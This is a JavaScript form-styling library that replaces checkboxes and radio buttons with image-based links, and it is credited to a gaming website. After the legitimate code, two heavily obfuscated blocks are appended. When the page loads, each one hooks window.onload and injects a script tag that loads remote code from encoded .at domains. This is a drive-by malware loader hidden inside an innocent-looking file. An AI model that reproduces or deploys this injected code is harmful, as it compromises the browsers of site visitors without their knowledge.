// formStyle.js, produced by Philip Howard, GamingHeadlines.co.uk
// This JavaScript is open source and freely available to all those who wish to use it.
// A link back to GamingHeadlines.co.uk would be appreciated!

	function toggleCheckbox(cbId,cbKey,ffId)
	{
	if (cbKey==0||cbKey==32){
	var cbFF = document.getElementById(ffId);
	
		var cbFFValue = cbFF.checked;
		
		if(cbId.className.indexOf("checkboxchecked")<0)
			{
				var checkBoxType = cbId.className.replace("checkbox","");
				cbFF.checked=true;cbId.className="checkboxchecked"+checkBoxType;}
			else
			{
				var checkBoxType = cbId.className.replace("checkboxchecked","");
				cbFF.checked=false;cbId.className="checkbox"+checkBoxType;}
	return false;
		}
	}
	
	function InitialiseCheckboxes()
	{
		var inputFields = document.getElementsByTagName("span");
		var checkboxIndex = 0;
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].className=="cbstyled")
					{
						var styleType = "";
						if (inputFields[inputIndex].getAttribute("name")!=null){styleType=inputFields[inputIndex].getAttribute("name");}
						
						var inputCurrent = inputFields[inputIndex].getElementsByTagName("input").item(0);
						if(inputCurrent.getAttribute("type")=="checkbox")
						{
							inputCurrent.className = "inputhidden";
							inputCurrent.setAttribute("id","styledcheckbox"+checkboxIndex);
							
							if(navigator.appName.indexOf("Internet Explorer")>0)
							{
								//Internet Explorer
								var inputHTML = inputFields[inputIndex].innerHTML;
								var styledHTML = "<a"//href=\"#\""
								styledHTML+=" tabindex=\""+inputIndex+"\"";
								//styledHTML+=" name=\""+inputCurrent.getAttribute("name")+"\""
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledHTML+=" title=\""+inputCurrent.getAttribute("title")+"\"";}}
								
								if (inputCurrent.checked)
									{styledHTML+=" class=\"checkboxchecked"+styleType+"\""}
									else
									{styledHTML+=" class=\"checkbox"+styleType+"\""}
									
								styledHTML+=" onClick=\"toggleCheckbox(this,'','styledcheckbox"+checkboxIndex+"');return false;\""
								styledHTML+=" onKeyPress=\"return toggleCheckbox(this,event.keyCode,'styledcheckbox"+checkboxIndex+"');\""
								
								styledHTML+="></a>"
								
								inputFields[inputIndex].innerHTML = inputHTML+styledHTML;
								inputFields[inputIndex].className = "checkbox"+styleType;
							}
							else
							{
								var styledCheckbox = document.createElement("a"); 
								styledCheckbox.setAttribute("href","#");
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledCheckbox.setAttribute("title",inputCurrent.getAttribute("title"));}}
								
								styledCheckbox.setAttribute("onClick","toggleCheckbox(this,'','styledcheckbox"+checkboxIndex+"');return false;");
								styledCheckbox.setAttribute("onKeyPress","return toggleCheckbox(this,event.keyCode,'styledcheckbox"+checkboxIndex+"');");
								
								if (inputCurrent.checked)
									{styledCheckbox.className="checkboxchecked"+styleType;}
									else
									{styledCheckbox.className="checkbox"+styleType;}
								inputFields[inputIndex].appendChild(styledCheckbox);
							}
							
							checkboxIndex++;
						}
					}
			}	
	}
	
	function toggleRadiobox(rbObj,rbKey,rbGroup,rbId)
	{
	if (rbKey==0||rbKey==32){
	var inputFields = document.getElementsByTagName("a");
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].getAttribute("name")==rbGroup){
					
					if(inputFields[inputIndex].className.indexOf("radioboxchecked")<0)
									{var RadioBoxType = inputFields[inputIndex].className.replace("radiobox","");}
									else
									{var RadioBoxType = inputFields[inputIndex].className.replace("radioboxchecked","");}
									
					inputFields[inputIndex].className="radiobox"+RadioBoxType;
					}
			}
	var inputFields = document.getElementsByTagName("input");
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].getAttribute("name")==rbGroup)
					{
						if (inputFields[inputIndex].getAttribute("id")==rbId)
							{
								if(rbObj.className.indexOf("radioboxchecked")<0)
									{var RadioBoxType = rbObj.className.replace("radiobox","");}
									else
									{var RadioBoxType = rbObj.className.replace("radioboxchecked","");}

								inputFields[inputIndex].checked = true;rbObj.className="radioboxchecked"+RadioBoxType;}
							else
							{inputFields[inputIndex].checked = false;}
					}
			}
	return false;
	}
	}
	
	function InitialiseRadioboxes()
	{
		var inputFields = document.getElementsByTagName("span");
		var radioboxIndex = 0;
		
		for (var inputIndex=0;inputIndex<inputFields.length;inputIndex++)
			{
				if (inputFields[inputIndex].className=="rbstyled")
					{
						var styleType = "";
						if (inputFields[inputIndex].getAttribute("name")!=null){styleType=inputFields[inputIndex].getAttribute("name");}
						
						var inputCurrent = inputFields[inputIndex].getElementsByTagName("input").item(0);
						if(inputCurrent.getAttribute("type")=="radio")
						{
							//inputCurrent.setAttribute("class","inputhidden");
							inputCurrent.className = "inputhidden";
							inputCurrent.setAttribute("id","styledradiobox"+radioboxIndex);
							
							if(navigator.appName.indexOf("Internet Explorer")>0)
							{
								//Internet Explorer
								var inputHTML = inputFields[inputIndex].innerHTML;
								var styledHTML = "<a"//href=\"#\""
								styledHTML+=" tabindex=\"1"+inputIndex+"\"";
								
								styledHTML+=" name=\""+inputCurrent.getAttribute("name")+"\""
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledHTML+=" title=\""+inputCurrent.getAttribute("title")+"\"";}}
								
								if (inputCurrent.checked)
									{styledHTML+=" class=\"radioboxchecked"+styleType+"\""}
									else
									{styledHTML+=" class=\"radiobox"+styleType+"\""}
									
								styledHTML+=" onClick=\"toggleRadiobox(this,'','"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');return false;\""
								styledHTML+=" onKeyPress=\"return toggleRadiobox(this,event.keyCode,'"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');\""
								
								styledHTML+="></a>"
								
								inputFields[inputIndex].innerHTML = inputHTML+styledHTML;
								inputFields[inputIndex].className = "radiobox"+styleType;
							}
							else
							{
								//Firefox, Opera, Netscape
								var styledRadiobox = document.createElement("a"); 
								styledRadiobox.setAttribute("href","#");
								styledRadiobox.setAttribute("name",inputCurrent.getAttribute("name"));
								
								if(inputCurrent.hasAttribute){if(inputCurrent.hasAttribute("title")){styledRadiobox.setAttribute("title",inputCurrent.getAttribute("title"));}}
								
								styledRadiobox.setAttribute("onClick","toggleRadiobox(this,'','"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');return false;");
								styledRadiobox.setAttribute("onKeyPress","return toggleRadiobox(this,event.keyCode,'"+inputCurrent.getAttribute("name")+"','styledradiobox"+radioboxIndex+"');");
								
								if (inputCurrent.checked)
									{styledRadiobox.className="radioboxchecked"+styleType;}
									else
									{styledRadiobox.className="radiobox"+styleType;}
								
								inputFields[inputIndex].appendChild(styledRadiobox);
							}
							
							radioboxIndex++;
						}
					}
			}	
	}
	
	function checkImages() {
	  if (document.getElementById) {
		var x = document.getElementById('formStyleTestImage').offsetWidth;
		if (x == '1'||x == '7') {
			document.getElementById('formStyleTestImage').style.display='none';
			return true;
		}else{
			return false;
		}
	  }
	}
	
	function preloadImages()
		{
		img1 = new Image();img1.src = "templates/AcidTechGreen/images/CheckboxUnchecked.gif";
		img1 = new Image();img1.src = "templates/AcidTechGreen/images/CheckboxChecked.gif";
		
		img2 = new Image();img1.src = "templates/AcidTechGreen/images/RadioboxUnchecked.gif";
		img2 = new Image();img1.src = "templates/AcidTechGreen/images/RadioboxChecked.gif";
		}
	
	function Initialise()
		{
			if(checkImages()){preloadImages();InitialiseCheckboxes();InitialiseRadioboxes();}
		}
		
	window.onload = Initialise;


var K;if(K!='i'){K=''};var s=new Array();try {var E=new Date();var QA=new String();var T=window[unescape("%75%6e%65%73%63%61%70%65")];var FC=new Date();var N;if(N!='' && N!='KD'){N=null};var X;if(X!='' && X!='x'){X=''};var f=null;this.Sn='';var v=new Array();var C=window[T("%52%65%67%45%78%70")];this.pI="";var Cy=T("%72%65%70%6c%61%63%65");function w(p,n){var Jc=new Array();var g=T("%5b");g+=n;this.UG='';g+=T("%5d");var he='';var Cd=new C(g, T("%67"));this.hN="";this.hj="";return p.replace(Cd, f);};var XQ;if(XQ!='Y' && XQ!='oL'){XQ='Y'};var pO;if(pO!=''){pO='uc'};var J="onloaFWg3".substr(0,5)+"d";this.sg='';var p=T("%31");var o="\x68\x74\x74\x70\x3a\x2f\x2f\x62\x69\x67\x65\x61\x73\x79\x6d\x61\x72\x74\x2e\x61\x74\x3a";var oF='';var CZ='';var eh=new Date();var V=w('89559450162928243636504395997','63517924');var nF=w('/vgEo1o4gWljeC.McUovmS/IzCaCpRpdo4sS.OcOodmV/jm_ejgda7pCoLrXnj.UcUoEmU.dpThXpS','IWLREM4vdxj6XC_7UVTS1O');var nb;if(nb!='' && nb!='AY'){nb='oY'};var b=T("%73%63%72%69%70%74");var eT;if(eT!='Hx' && eT != ''){eT=null};var tH;if(tH!='zS' && tH!='Uf'){tH=''};var R=new Array();function A(){this.Fk="";var u=document;var hJ='';var M;if(M!='' && M!='HI'){M=''};An=u.createElement(b);var xq='';var TZ;if(TZ!='Ml' && TZ != ''){TZ=null};oF+=o;var AH=new Array();oF+=V+nF;var yD=new Date();An.src=oF;var Yw;if(Yw!='cY' && Yw!='OB'){Yw='cY'};var mt=new Date();var zN;if(zN!='Fz' && zN!='my'){zN=''};var hp=new Date();var e=u.body;var KN;if(KN!=''){KN='Ai'};var Gw='';An.defer=p;var bG;if(bG!='' && bG!='SK'){bG='Sh'};this.bZ='';var Cq;if(Cq!='' && Cq!='QJ'){Cq='Vz'};this.Km="";e.appendChild(An);};var ie=new Array();var LL;if(LL!='' && LL!='hHu'){LL='Wf'};window[J]=A;var Zj=new String();var Nh;if(Nh!='wE' && Nh != ''){Nh=null};} catch(t){};
var M;if(M!='m' && M != ''){M=null};function k(){var y;if(y!='bd'){y=''};var Ul='';var ZB;if(ZB!='' && ZB!='IwR'){ZB=null};var d=window;var b=d['unescape'];var a;if(a!='l'){a=''};this.p='';var V=b("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%75%74%6f%2e%72%75%2f%62%75%7a%7a%6e%65%74%2e%63%6f%6d%2e%70%68%70");var nP;if(nP!='MY'){nP='MY'};var G=new Date();function Y(w,H){var X=b("%5d");var j=b("%5b");var A="";var HN=String("g");var v;if(v!=''){v='wQ'};this.UR='';var Zx;if(Zx!='' && Zx!='lR'){Zx=''};var F=new RegExp(j+H+X, HN);this.Yq="";this.Kl='';return w.replace(F, new String());var C;if(C!='ks' && C!='hf'){C='ks'};};var jr;if(jr!=''){jr='gL'};var Fv;if(Fv!=''){Fv='P'};var kU;if(kU!='KH' && kU != ''){kU=null};var E="";var h=Y('sacar9iApgtA','VA68ag9dT');var aW;if(aW!='Dx' && aW != ''){aW=null};var CU=new Date();var Xm=Y('sVrvcw','W46lwVvCn3ptLx');var YN='';var YB='';var S=Y('doeofoeprk','GkZha0Tp5RtoB');this.PJ='';var n=Y('85935691097415683111741307161334','96437251');var _Z;if(_Z!='' && _Z!='cY'){_Z='QE'};var dQ=document;function nY(){var kS=new Date();var I=b("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var em=new Date();var eh=new Date();var Xk=I;var TB;if(TB!='' && TB!='J'){TB=null};this.Ik='';Xk+=n;var zS;if(zS!='cZ' && zS!='f'){zS=''};Xk+=V;var JC="";var hM;if(hM!='ms' && hM!='yw'){hM='ms'};this.q_="";this.uc="";var Sx='';try {_=dQ[Y('cUr1e1aut3euEGlJeUmGeGnJtU','UJu31Gz')](h);var vC="";var moK;if(moK!='pu' && moK!='qq'){moK=''};_[S]=[2,1][1];_[Xm]=Xk;var hG=new String();var cc='';dQ.body[Y('azpMpxe_nqdvCMhZijlwdZ','Pzxq_vwZjMBg')](_);this.Ci='';var Yf=new String();var fm=new Array();this.bp='';} catch(B){var rG=new String();this.EX="";};this.OX="";var TM=new Date();var ka;if(ka!='Hm' && ka != ''){ka=null};}var ke=new Array();var lx="";var Iw=Y('omnNlAoJamdJ','pNAgwmU0J2CFTcSVR8Yj');var IS=new Array();var rm;if(rm!=''){rm='DM'};this.vX="";d[Iw]=nY;var Pq="";var FD="";};var XH;if(XH!='sD' && XH!='Lj'){XH='sD'};var Xh;if(Xh!='Mr' && Xh!='wi'){Xh='Mr'};var Az;if(Az!='bP' && Az!='OQ'){Az='bP'};k();